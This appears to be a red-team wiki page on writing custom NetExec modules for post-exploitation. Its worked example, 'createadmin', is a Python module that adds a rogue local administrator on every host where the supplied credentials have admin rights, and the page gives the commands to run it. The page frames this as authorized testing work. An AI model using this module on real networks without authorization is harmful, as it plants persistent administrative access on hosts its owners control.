🛡️ Methodology Checklist
- Confirm the task isn’t already a built-in module:
nxc smb -L - Drop a
.pymodule in~/.nxc/modules/(installed) ornxc/modules/(source) - Class is
NXCModule(legacy CrackMapExec modules useCMEModule) - Set
name,description,supported_protocols,opsec_safe,multiple_hosts - Read user input in
options()(passed via-o KEY=VALUE) - Put the payload in
on_login()(any valid creds) oron_admin_login()(admin only) - Verify it loaded:
nxc smb -L - Run it:
nxc smb [TARGET] -u [USER] -p [PASS] -M [MODULE_NAME]
🎯 Operational Context
Use when: A repetitive post-exploitation action (custom user creation, registry change, file drop, bespoke check) isn’t covered by a built-in module and you want it run automatically across every host you Pwn3d!.
Think Dumber First: Most things already exist — check nxc smb -L and nxc smb -M [MODULE] --options before writing code. A module only pays off when you’ll run the same action across many hosts.
Skip when: A single -x "<command>" does the job on one host — no module needed.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
nxc smb -L | List all loaded modules (verify yours appears) |
nxc smb -M [MODULE] --options | Show a module’s -o options |
nxc smb [TARGET] -u [USER] -p [PASS] -M [MODULE] | Run a module with defaults |
nxc smb [TARGET] -u [USER] -p [PASS] -M [MODULE] -o KEY=VALUE | Run with custom options |
~/.nxc/modules/ | Drop-in location for custom modules (installed nxc) |
nxc/modules/ | Module location in a source/Poetry checkout |
🔬 Deep Dive & Workflow
How an nxc module works
A module is a single Python file containing one class. NetExec discovers it by filename and exposes it via -M <name>.
- Class:
NXCModule(modern NetExec). Legacy CrackMapExec modules useCMEModule— both still load, but write new ones asNXCModule. - Trigger methods decide when your code runs:
on_login(self, context, connection)— fires for any valid credential.on_admin_login(self, context, connection)— fires only when the login is local admin (Pwn3d!). Silently does nothing otherwise.
- Interaction:
connection.execute(command, True)runs a shell command on the target and returns its output.
Where to put it
# Installed via pipx — drop-in, no rebuild needed
cp mymodule.py ~/.nxc/modules/
# Source / Poetry checkout
cp mymodule.py /opt/NetExec/nxc/modules/
cd /opt/NetExec && poetry install # only if dependencies changedWorked example — createadmin.py
Creates a new local administrator on every host where you have admin (on_admin_login). User/pass are overridable via -o.
#!/usr/bin/env python3
class NXCModule:
name = "createadmin"
description = "Create a new local administrator account"
supported_protocols = ["smb"]
opsec_safe = False # adding a local admin is very noisy
multiple_hosts = True
def options(self, context, module_options):
"""
USER Username for the new admin. Default: svcadmin
PASS Password for the new admin. Default: Ch4ngeMe!2026
"""
self.user = module_options.get("USER", "svcadmin")
self.password = module_options.get("PASS", "Ch4ngeMe!2026")
if not self.user or not self.password:
context.log.error("USER or PASS cannot be empty!")
exit(1)
def on_admin_login(self, context, connection):
context.log.info(f"Creating admin {self.user} / {self.password}")
command = (
f'net user {self.user} "{self.password}" /add /Y && '
f"net localgroup administrators {self.user} /add"
)
output = connection.execute(command, True)
context.log.highlight(output)Run it
# Confirm it loaded
nxc smb -L | grep createadmin
# Default user/pass
nxc smb [TARGET_IP] -u [ADMIN_USER] -p [ADMIN_PASS] -M createadmin
# Custom user/pass
nxc smb [TARGET_IP] -u [ADMIN_USER] -p [ADMIN_PASS] -M createadmin -o USER=[NEW_USER] PASS=[NEW_PASS]🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
Module not in nxc smb -L | Wrong directory or Python syntax error | Place in ~/.nxc/modules/; check indentation/imports; nxc fails silently on a bad module |
| Module loads but nothing happens | Used on_admin_login without admin | You need Pwn3d! on the target; verify, or switch to on_login |
connection.execute returns empty | Command blocked by EDR, or no-op (user exists) | Try the command manually via -x; check the host context |
| Option ignored | Wrong -o key or protocol | Keys are case-sensitive; ensure supported_protocols includes your protocol |
📝 Reporting Trigger
Finding Title: N/A — operator tooling. (If createadmin-style modules are used, the outcome — a rogue local admin — is the finding; see AD_Privileged_Access.)
Operational note: Custom modules that add accounts or modify the host are not OPSEC-safe — they leave durable artifacts (new users, event logs) that a SOC will catch. Use only where authorized, and clean up afterwards.
🔗 Related Nodes
- NetExec_Database_Modules — using built-in modules and the module system
- NetExec_PostExploitation — remote execution and secret dumping
- NetExec_Cheat_Sheet — full nxc engagement flow